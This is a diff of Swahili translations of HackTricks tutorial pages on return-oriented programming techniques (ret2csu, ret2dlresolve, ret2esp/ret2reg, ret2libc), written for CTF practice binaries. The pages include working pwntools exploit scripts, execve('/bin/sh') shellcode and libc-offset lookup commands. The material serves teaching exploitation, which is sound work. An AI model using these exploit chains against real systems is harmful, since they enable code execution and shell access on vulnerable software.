Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa kwa ajili ya kusimamia jinsi sehemu tofauti za programu zinavyozungumza na nyingine. Kati ya kazi hizi kuna baadhi ya vito vya thamani vinavyoweza kutenda kama gadgets zetu zilizopotea, hasa moja inayoitwa `__libc_csu_init`.
### Vito Vya Ajabu katika \_\_libc\_csu\_init
@ -34,7 +34,7 @@ pop r14;
pop r15;
ret;
```
Gadgeti hili huturuhusu kudhibiti hizi rejista kwa kuzitoa kwenye steki na kuziweka ndani yake.
Gadgeti hili linaruhusu sisi kudhibiti hizi rejista kwa kuzitoa thamani kutoka kwenye steki na kuziweka.
2. Mfuatano wa pili hutumia thamani tulizoweka kufanya mambo kadhaa:
* **Kuhamisha thamani maalum kwenye rejista nyingine**, kuzifanya ziwe tayari kwetu kutumia kama parameta katika kazi.
@ -45,7 +45,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **maagizo ya `ret`**. Kumbuka kuwa kifaa cha pili pia kitamalizika kwa `ret`, lakini utahitaji kukutana na **masharti fulani** ili kuifikia:
2. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **maagizo ya `ret`**. Kumbuka kuwa kifaa cha pili pia **kitamalizika kwa `ret`**, lakini utahitaji kukutana na **masharti** fulani ili kuifikia:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -60,7 +60,7 @@ ret
Masharti yatakuwa:
* `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa hakuna wazo na hakuna pie, unaweza kutumia tu kazi ya `_init`):
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kidude kwenye kumbukumbu kinachoelekeza kwake na ufanye `[r12 + rbx*8]` iwe anwani yenye kidude kinachoelekeza kwa \_init:
* Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta pointer kwenye kumbukumbu kwenda kwake na ufanye `[r12 + rbx*8]` iwe anwani yenye pointer kwenda \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -71,20 +71,20 @@ gef➤ search-pattern 0x400560
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
* `rbp` na `rbx` lazima kuwa na thamani sawa ili kuepuka kuruka
* Kuna baadhi ya pops zilizopuuzwa ambazo unahitaji kuzingatia
* Kuna pops zilizopuuzwa ambazo unahitaji kuzingatia
## Mfano
### Kutumia wito
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika rejista za `rdx` na `rsi` kama paramita. Kawaida, ungeangalia vifaa vya kielelezo vinavyoweka moja kwa moja rejista hizi, lakini huwezi kupata yoyote.
Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji thamani maalum katika rejista za `rdx` na `rsi` kama parameta. Kawaida, ungeangalia vifaa vya kielelezo vinavyoweka moja kwa moja rejista hizi, lakini huwezi kupata yoyote.
Hapa ndipo **ret2csu** inapoingia kucheza:
1. **Wekeza Rejista**: Tumia kifaa cha kichawi cha kwanza kupata thamani kutoka kwenye steki na kuingiza kwenye rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
2. **Tumia Kifaa cha Pili**: Ukiwa na rejista hizo zilizowekwa, tumia kifaa cha pili. Hii inakuruhusu kuhamisha thamani zako zilizochaguliwa ndani ya `rdx` na `rsi` (kutoka r14 na r13, mtawalia), tayari kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayohesabu na kuweka ndani ya `[r15 + rbx*8]`.
2. **Tumia Kifaa cha Pili**: Ukiwa na rejista hizo zilizowekwa, tumia kifaa cha pili. Hii inakuruhusu kuhamisha thamani zako zilizochaguliwa ndani ya `rdx` na `rsi` (kutoka r14 na r13, mtawalia), kuandaa parameta kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyopo kwenye anwani unayohesabu na kuweka ndani ya `[r15 + rbx*8]`.
Una [**mfano ukitumia mbinu hii na kuelezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndio shambulio la mwisho lililotumika:
Una [**mfano ukitumia mbinu hii na kuelezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndio shambulizi la mwisho lililotumika:
```python
from pwn import *
@ -109,12 +109,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Tafadhali elewa kuwa shambulio lililopita halikukusudiwa kufanya **`RCE`**, lilikuwa linakusudia tu kuita kazi iliyoitwa `win` (ikichukua anwani ya `win` kutoka stdin ikitoa wito wa gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
Tafadhali elewa kuwa shambulio lililopita halikusudiwi kufanya **`RCE`**, lilikuwa linataka tu kuita kazi iliyoitwa **`win`** (ikichukua anwani ya `win` kutoka stdin ikitoa wito wa gets katika mnyororo wa ROP na kuihifadhi katika r15) na hoja ya tatu yenye thamani `0xdeadbeefcafed00d`.
{% endhint %}
### Kupitisha wito na kufikia ret
Shambulio lifuatalo lilichimbuliwa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia wito, inapitisha **mikataba na kufikia `ret`** baada ya wito:
Shambulio lifuatalo lilichimbuliwa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia wito, inapitisha mizani na kufikia `ret` baada ya wito:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalam wa juu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,16 +16,16 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Kama ilivyoelezwa kwenye ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitaresolve alama (kama vile anwani za maktaba za nje) mara ya kwanza wanapotumiwa. Urekebishaji huu hufanyika kwa kuita kazi ya **`_dl_runtime_resolve`**.
Kama ilivyoelezwa kwenye ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitaresolve alama (kama vile anwani za maktaba za nje) mara ya kwanza wanapotumiwa. Urekebishaji huu hufanyika kwa kuita kazi **`_dl_runtime_resolve`**.
Kazi ya **`_dl_runtime_resolve`** huchukua kutoka kwenye stack marejeo ya miundo fulani inayohitajika ili kuresolve alama iliyotajwa.
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye steki marejeo kwa baadhi ya miundo inayohitaji ili **kuresolve** alama iliyotajwa.
Hivyo basi, ni **inawezekana kufanya bandia miundo yote** ili kufanya urekebishaji wa kiungo cha kudumu kutatue alama iliyotakiwa (kama vile kazi ya **`system`**) na kuipiga na parameta iliyowekwa (k.m. **`system('/bin/sh')`**).
Hivyo basi, niwezekanavyo kufanya **miundo yote hii feki** ili kufanya urekebishaji wa kiungo cha kudumu kutatua alama iliyotakiwa (kama vile kazi ya **`system`**) na kuipiga kwa kiparameta kilichowekwa (k.m. **`system('/bin/sh')`**).
Kawaida, miundo yote hii hufanywa bandia kwa kutengeneza **mnyororo wa ROP wa awali unaopiga simu kwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **miundo** na neno **`'/bin/sh'`** hupitishwa ili waweze kuhifadhiwa na kusomwa kwenye eneo lililofahamika, na kisha mnyororo wa ROP unaendelea kwa kupiga simu **`_dl_runtime_resolve`**, ikimwezesha **kuresolve anwani ya `system`** kwenye miundo bandia na **kupiga simu kwa anwani hii** na anwani ya `$'/bin/sh'`.
Kawaida, miundo yote hii hufanywa feki kwa kutengeneza **mnyororo wa ROP wa awali unaopiga simu kwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **miundo** na neno **`'/bin/sh'`** hupitishwa ili waweze kuhifadhiwa na kusomwa kwa kusoma kwenye eneo lililofahamika, na kisha mnyororo wa ROP unaendelea kwa kupiga simu **`_dl_runtime_resolve`**, ikimruhusu **kutatua anwani ya `system`** kwenye miundo feki na **kupiga simu kwa anwani hii** na anwani ya `$'/bin/sh'`.
{% hint style="success" %}
Mbinu hii ni muhimu hasa ikiwa hakuna vifaa vya syscall (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv.md) au [SROP](ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)) na hakuna njia za kuvuja anwani za libc.
Mbinu hii ni muhimu hasa ikiwa hakuna vifaa vya syscall (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv.md) au [SROP](srop-sigreturn-oriented-programming.md)) na hakuna njia za kuvuja anwani za libc.
{% endhint %}
Unaweza kupata maelezo bora kuhusu mbinu hii katika nusu ya pili ya video:
@ -34,15 +34,15 @@ Unaweza kupata maelezo bora kuhusu mbinu hii katika nusu ya pili ya video:
## Miundo
Ni lazima kufanya bandia miundo 3: **`JMPREL`**, **`STRTAB`** na **`SYMTAB`**. Unaweza kupata maelezo bora kuhusu jinsi hizi zinajengwa katika [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
Ni lazima kufanya feki miundo 3: **`JMPREL`**, **`STRTAB`** na **`SYMTAB`**. Unaweza kupata maelezo bora kuhusu jinsi hizi zinajengwa katika [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Muhtasari wa Shambulio
1. Andika miundo bandia mahali fulani
1. Andika miundo feki mahali fulani
2. Weka hoja ya kwanza ya system (`$rdi = &'/bin/sh'`)
3. Weka kwenye stack anwani za miundo kupiga simu kwa **`_dl_runtime_resolve`**
4. Piga simu kwa** `_dl_runtime_resolve`**
5. **`system`** itaresolviwa na kupigwa simu na `'/bin/sh'` kama hoja
3. Weka kwenye steki anwani za miundo kupiga simu **`_dl_runtime_resolve`**
4. **Piga simu** `_dl_runtime_resolve`
5. **`system`** itatauliwa na kupigwa simu na `'/bin/sh'` kama hoja
## Mfano
@ -178,4 +178,4 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa kujaza kijia kidogo na kurejea. Kudanganya ni kutumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi hapo mizani bandia ya `dlresolve` ili kupakia `system`, kurudi kwa msingi na kutumia tena kudanganya ya awali kuita dlresolve na kisha `system('/bin/sh')`.
* 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa kujaza buffer na kurejea. Kudanganya, bof hutumiwa kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi kwenye meza bandia za `dlresolve` ili kupakia `system`, kurudi kwa msingi na kutumia tena bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.

View file

@ -0,0 +1,112 @@
# Ret2esp / Ret2reg
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## **Ret2esp**
**Kwa sababu ESP (Stack Pointer) daima inaelekeza juu ya steki**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya maagizo ya **`jmp esp`** au **`call esp`**. Kwa kufanya hivi, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati maagizo ya `ret` yanatekelezwa, ESP inaelekeza kwenye anwani inayofuata, mahali ambapo shellcode imewekwa.
Ikiwa **Address Space Layout Randomization (ASLR)** haijaanzishwa kwenye Windows au Linux, inawezekana kutumia maagizo ya `jmp esp` au `call esp` yaliyopatikana kwenye maktaba za pamoja. Walakini, na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ikiwa imewezeshwa, inaweza kuhitajika kutafuta maagizo haya ndani ya programu yenye kasoro yenyewe (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Zaidi ya hayo, kuweza kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya steki, kuhakikisha kuwa maagizo ya `push` au `pop` yanayotekelezwa wakati wa operesheni ya kazi hayavurugi shellcode. Kuvuruga huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya steki ya kazi.
### Ukosefu wa nafasi
Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda tu baadhi ya baiti), andika shellcode ya awali ya **`jmp`** kama:
```armasm
sub rsp, 0x30
jmp rsp
```
Na andika shellcode mapema kwenye stack.
### Mfano
Unaweza kupata mfano wa mbinu hii katika [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) na shambulio la mwisho kama:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
Unaweza kuona mfano mwingine wa mbinu hii katika [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Kuna kipeperushi cha kujaza bila NX kuwezeshwa, hutumiwa kifaa cha kupunguza anwani ya `$esp` na kisha `jmp esp;` ili kuruka kwenye shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imewekwa, tunaweza kutumia maagizo ya **`call eax`** au **`jmp eax`** (inayojulikana kama mbinu ya **ret2eax**), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama eax, **daftari lingine lolote** lenye anwani ya kuvutia linaweza kutumika (**ret2reg**).
### Mfano
Unaweza kupata mifano hapa:&#x20;
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
* **`strcpy`** itahifadhi katika **`eax`** anwani ya buffer ambapo shellcode ilihifadhiwa na **`eax`** haibadilishwi, hivyo inawezekana kutumia `ret2eax`.
## Kinga
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ikiwa steki haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye steki na kuruka kuitekeleza.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Vitu hivyo vinaweza kufanya iwe ngumu kupata maagizo ya kuruka kwa esp au daftari lingine lolote.
## Marejeo
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,16 +16,16 @@ Njia nyingine za kusaidia HackTricks:
## **Maelezo Msingi**
Esensi ya **Ret2Libc** ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., **system**, **execve**, **strcpy**) badala ya kutekeleza shellcode iliyotolewa na mkalimani kwenye rundo. Mshambuliaji hupanga mzigo ambao unabadilisha anwani ya kurudi kwenye rundo ili ielekeze kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango kwa ajili ya hoja zozote muhimu kuwekwa sawa kulingana na mkataba wa kuita.
Esensi ya **Ret2Libc** ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., **system**, **execve**, **strcpy**) badala ya kutekeleza shellcode iliyotolewa na mkalimani kwenye steki. Mshambuliaji hupanga mzigo wa data ambao unabadilisha anwani ya kurudi kwenye steki ili ielekeze kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango kwa ajili ya hoja zozote muhimu kuwekwa sawa kulingana na mkataba wa wito.
### **Hatua za Mfano (zilizorahisishwa)**
* Pata anwani ya kazi ya kupiga simu (k.m. system) na amri ya kupiga simu (k.m. /bin/sh)
* Pata anwani ya kazi ya kuita (k.m. system) na amri ya kuita (k.m. /bin/sh)
* Unda mnyororo wa ROP ili kupitisha hoja ya kwanza ikielekeza kwenye herufi ya amri na mtiririko wa utekelezaji kwa kazi
## Kutafuta anwani
## Kupata anwani
* Kudhani kwamba `libc` inayotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata mahali itakapoloadiwa kumbukani na:
* Kudhani kwamba `libc` inayotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata itakapopakiwa kumbukani na:
{% code overflow="wrap" %}
```bash
@ -37,17 +37,17 @@ Ikiwa unataka kujua ikiwa ASLR inabadilisha anwani ya libc unaweza kufanya hivi:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
* Kwa kujua libc iliyotumiwa pia ni rahisi kupata kisawe cha kazi ya `system` kwa:
* Kwa kujua libc iliyotumiwa pia inawezekana kupata kisawe cha kazi ya `system` kwa:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
* Kwa kujua libc iliyotumiwa pia ni rahisi kupata kisawe cha kazi ya string `/bin/sh` na:
* Kujua libc iliyotumiwa pia inawezekana kupata mbali hadi kwa kazi ya string `/bin/sh` na:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Kutumia gdb-peda / GEF
Kwa kujua libc iliyotumiwa, Pia ni rahisi kutumia Peda au GEF kupata anwani ya kazi ya **system**, ya kazi ya **exit** na ya string **`/bin/sh`** :
Kwa kujua libc iliyotumiwa, Pia ni rahisi kutumia Peda au GEF kupata anwani ya kazi ya **system**, ya kazi ya **exit** na ya string **`/bin/sh`**:
```bash
p system
p exit
@ -57,7 +57,7 @@ find "/bin/sh"
Ikiwa mchakato unazalisha **watoto** kila wakati unapozungumza naye (mtandao wa seva) jaribu **kusoma** faili hiyo (labda utahitaji kuwa na ruhusa ya mizizi).
Hapa unaweza kupata **mahali hasa ambapo libc imepakia** ndani ya mchakato na **mahali ambapo itapakia** kwa kila mtoto wa mchakato.
Hapa unaweza kupata **mahali hasa ambapo libc imepakia** ndani ya mchakato na **mahali itakapopakiwa** kwa kila mtoto wa mchakato.
![](<../../../.gitbook/assets/image (850).png>)
@ -65,7 +65,7 @@ Katika kesi hii imepakia katika **0xb75dc000** (Hii itakuwa anwani ya msingi ya
## Libc isiyojulikana
Inaweza kuwa inawezekana kwamba **hujui libc ambayo binary inapakia** (kwa sababu inaweza kuwa mahali ambapo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu wa **kuvuja anwani na kupata ni libc** ipi inayotumiwa:
Inaweza kuwa inawezekana kwamba **hujui libc ambayo binary inapakia** (kwa sababu inaweza kuwa katika seva ambapo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu wa **kuvuja anwani na kupata libc** ambayo maktaba inatumika:
{% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/)
@ -85,7 +85,7 @@ Angalia ukurasa [https://libc.blukat.me/](https://libc.blukat.me/) na tumia **an
Mashambulizi haya ya kufanya nguvu ni **yenye manufaa kwa mifumo ya biti 32 tu**.
* Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu ya anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
* Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
@ -93,7 +93,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## Gadget Moja
Tekeleza kabati kwa kuruka kwa anwani moja maalum tu katika libc:
Tekeleza kabati kwa kuruka kwa **anwani** moja maalum **tu** katika libc:
{% content-ref url="one-gadget.md" %}
[one-gadget.md](one-gadget.md)
@ -101,7 +101,7 @@ Tekeleza kabati kwa kuruka kwa anwani moja maalum tu katika libc:
## Mfano wa Msimbo wa x86 Ret2lib
Katika mfano huu, ASLR ya kubaini kwa nguvu imejumuishwa katika msimbo na kibadilishaji dhaifu kiko kwenye seva ya mbali:
Katika mfano huu, kubaini kwa nguvu kwa ASLR imejumuishwa katika msimbo na faili ya binary inayoweza kudhurika iko kwenye seva ya mbali:
```python
from pwn import *
@ -127,27 +127,27 @@ Angalia mfano kutoka:
## Ret-into-printf (au puts)
Hii inaruhusu **kuvuja kwa habari kutoka kwa mchakato** kwa kuita `printf`/`puts` na baadhi ya data maalum iliyowekwa kama hoja.
Hii inaruhusu **kuvuja kwa habari kutoka kwa mchakato** kwa kuita `printf`/`puts` na data fulani maalum iliyowekwa kama hoja.
## Ret2printf
Hii kimsingi inamaanisha kutumia **Ret2lib kubadilisha kuwa `printf` format strings vulnerability** kwa kutumia `ret2lib` kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):
Hii kimsingi inamaanisha kutumia **Ret2lib kubadilisha kuwa udhaifu wa aina ya `printf` format strings** kwa kutumia `ret2lib` kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
## Mifano Mingine & vyanzo
## Mifano Mingine & marejeo
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, ikitoa kuvuja kwa anwani ya kazi katika libc, kutumia kifaa cha kipekee
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kuzidi hadi baiti 0x00 ya canary kisha kuita puts na kuvuja. Pamoja na canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kifaa cha ROP kuita `system('/bin/sh')`
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kuzidi hadi baiti 0x00 ya canary kisha kuita puts na kuvuja. Pamoja na canary, kifaa cha ROP kinajengwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kifaa cha ROP kuita `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* Biti 64, ASLR imewezeshwa, hakuna canary, kuzidi kwa stakati kuu kutoka kwa kazi ya mtoto. ROP gadget kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita kifaa cha kipekee.
